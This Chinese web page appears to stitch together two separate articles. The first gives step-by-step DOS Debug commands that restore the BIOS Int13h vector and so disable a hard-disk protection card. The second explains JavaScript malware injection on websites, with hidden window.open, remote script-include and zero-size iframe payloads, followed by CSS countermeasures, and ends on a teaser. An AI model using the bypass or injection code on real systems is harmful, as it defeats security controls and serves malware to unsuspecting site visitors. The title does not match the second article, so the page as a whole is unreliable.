當前位置:文思屋>社會工作>電腦培訓>

如何破解硬碟的保護

文思屋 人氣:2.67W

如何破解硬碟的保護

如何破解硬碟的保護

硬碟保護卡的工作原理

硬碟保護卡是一種硬體晶片,插在主機板上與硬碟的MBR一起協同工作,可以保護硬碟資料不被惡意修改和刪除,達到向硬碟中寫入資料在重新啟動計算機後消除資料的目的。

它的工作原理基於一種“BIOS對映地址轉移”的特殊技術,說簡單點就是通過攔截BIOS原始的Int13h,使所有寫入硬碟的操作重新定位到其自身的中斷程式,從而實現對寫入硬碟的資料起到保護的作用。

解除硬碟保護卡的保護功能

上面我們明白了硬碟保護卡的工作原理,我們只要恢復Int13h原始的BIOS中斷量就可以解除破解硬碟保護卡。這需要藉助於DOS下的Debug命令,通過它用手工方式找到Int13h的原始中斷向量值,填入中斷向量表即可。

首先查詢Int13h的入口。在純DOS的命令提示符下鍵入“Debug”並依次輸入如下命令:

-a100

-xor ax,ax

-int 13

-int3

接著輸入“t”回車反覆重複執行,直到顯示地址形如“F000:xxxx”,記下這一地址,按“q”退出Debug狀態。這裡假設找到的入口為F000:xxxx,在(0:13H*4)=0:4ch處填入這個地址,例如得到地址為F000:1234,再次執行Debug,輸入如下命令:

-e 0:4c 34 12 00F0

-q

這樣就把得到的原始入口填入Int13h的中斷向量表中了,這時候硬碟保護卡就被解除。需要說明的是,以上解除硬碟保護卡只對本次操作有效,每次重新啟動系統都需要執行這樣的操作。

 瞭解JS掛馬方式

IFRAME掛馬方式比較早,相應的預防措施也比較多,其中用CSS配合JS指令碼進行預防是主流方式。可這種預防方式也存在安全隱患,JS指令碼也可以被用來掛馬,令人防不勝防。我們下面要介紹反擊JS掛馬的方法。

文章要點:瞭解JS掛馬方式

文章難度:★★

學習程序:√ IFRAME掛馬

√ JS掛馬

CSS掛馬

HNC網路聯盟劉思楊:安全工程師,曾經負責過許多單位的網路安全

許多人認為,只要自己的伺服器安全做得足夠好,建站程式補丁打得勤快,就能夠抵禦住所有黑客的攻擊。這樣做的人肯定是非常多的,可為什麼還是有許多網站被黑呢?

一個很重要的原因,就是他們過於相信從第三方網站中下載的`整站程式,或者修改版的論壇程式等,而這些程式有些已經被黑客做過手腳,已經植入了後門,此時如果網站站長不熟悉如何查補漏洞,將無異於引狼入室。

比較典型的一個例子是,曾經非常出名的《易想多使用者商城 v2.1》(仿淘寶版),被許多黑客竄改過,多個關鍵頁面被植入了後門,然後到處提供下載,導致了許多使用該程式的網站被攻擊。因此在隱蔽手段掛馬橫行的今天,熟悉並掌握隱蔽的掛馬方式,是一個安全工程師必備的技能。

 JS掛馬溯源

古人云:人算不如天算,天算不如暗算(小編:哪個古人這樣雲過?)。當IFRAME逐漸被黑客濫用的時候,有經驗的安全工程師也開始研究相應的對策,一段時間內各種阻止IFRAME掛馬的方法不斷湧現,其中通用性較高的就是利用CSS配合JS指令碼防禦IFRAME掛馬。

而黑客也發現,很多網站都會讓網頁呼叫JS指令碼來實現廣告等諸多特效,如果將木馬掛在JS指令碼中,所有呼叫該JS指令碼的網頁都等同於被掛上了木馬,對於需要肉雞群的黑客而言是一勞永逸,因此JS指令碼掛馬逐漸開始被黑客應用。

小百科:JS指令碼是JavaScript指令碼語言的簡稱,它是一種物件導向的指令碼語言,目前廣泛用於動態網頁的程式設計。需要提示大家的是,JavaScript和Java除了語法上有一些相似之處,以及都能夠當作網頁的程式語言以外,兩者是完全不相干的。而JavaScript與Jscript也不同,Jscript是微軟為了迎戰JavaScript推出的指令碼語言。

雖然JavaScript作為給非程式人員的指令碼語言向大眾推廣,但是JavaScript是一門具有豐富特性的語言,它有著和其他程式語言一樣的複雜性。實際上,你必須對JS有紮實的理解才能用它來編寫比較複雜的程式,作為一名安全工程師,掌握JS指令碼在工作中會有很大的幫助。

 掛馬原理一點通

JS指令碼掛馬對於黑客而言,可以說優點多得數不過來,首先JS指令碼在掛馬時可以直接將JS程式碼寫在網頁中,也可以通過注入網頁,讓網站遠端調取異地JS指令碼。此外,JS掛馬插入Web頁面的方法有幾十種,絕對夠菜鳥們眼花繚亂,無從辨別木馬在何處。

IFRAME掛馬相對於安全工程師而言,如同一個穿著鮮紅顏色外衣的劫匪,招搖而扎眼,很容易被發現。但是利用JS掛馬就意味著這個劫匪擁有了一張可以隨時變換的面孔,而且它還能夠隨時更換衣服。這樣的劫匪在安全工程師搜查時,很容易矇混過關,導致木馬久殺不絕。

JS掛馬攻防實錄

攻現在最多見的JS掛馬方法有兩種,一種是直接將JavaScript指令碼程式碼寫在網頁中,當訪問者在瀏覽網頁時,惡意的掛馬指令碼就會通過使用者的瀏覽器悄悄地開啟網馬視窗,隱藏地執行(圖1),這種方法使用的關鍵程式碼如下:

window.open("http:///木.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");

這種程式碼往往很長,很容易被安全工程師發現,而且沒有經驗的黑客也喜歡將“width”和“height=”引數設為“0”,但是設定為0後,可能會出現惡意程式碼不執行的情況。

另外一種JS掛馬方式是,黑客先將掛馬指令碼程式碼“document.write('')”,寫入Windows中的寫字板另存為字尾為.js的指令碼檔案,並上傳到自己指定的網址。這時黑客只需要在受害者的網站中寫入:

<script src="http:///木馬指令碼.js"></script>

或者

document.write("<div style='display:none'>")

document.write("<iframe src="網頁木馬地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")

document.write("</div>")

就成功地將木馬掛到了對方的網頁中了。

小提示:黑客還可以根據情況隨機變換插入的JS掛馬方法,例如黑客有可能會將指令碼寫為:<div style="behaviour: url(http:///木馬指令碼.js);">或者<if rame src="vbscript:[掛馬指令碼]">等。

防第一種JS掛馬方式,不方便,用得非常少,而第二種JS掛馬方式才是當前主流的,所以我們主要針對它進行防禦。方法就是阻止Src請求的異地外域的JS指令碼,程式碼如下:

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}

script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}

不過這種方法的缺點就是網站的訪問者將不能看到被掛了JS木馬的相關網頁(圖2)。

所以我們為安全工程師提供了一段可以中止JS指令碼執行的CSS程式碼,這段程式碼會讓異地外域的JS檔案在使用document.write()時,被document.close()強制關閉。這個時侯JS掛馬的內容往往還沒有來得及寫完,只有部分被強制輸出了,Writer後面的內容再不會被寫入訪問者的電腦中,從而起到防範JS指令碼掛馬的作用。

<title>讓JS掛馬中止的CSS程式碼</title>

<style type="text/css" id="shudoo">

/*<![CDATA[*/

if rame{mdy1:expression(this.src='about:blank',this.outerHTML='');}

script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');}

/*]]>*/

我們雖然能夠巧妙地利用CSS程式碼防範IFRAME和JS指令碼掛馬,但是為什麼網頁掛馬還是層出不窮?這恐怕就要說一說CSS掛馬了……

TAGS:硬碟 破解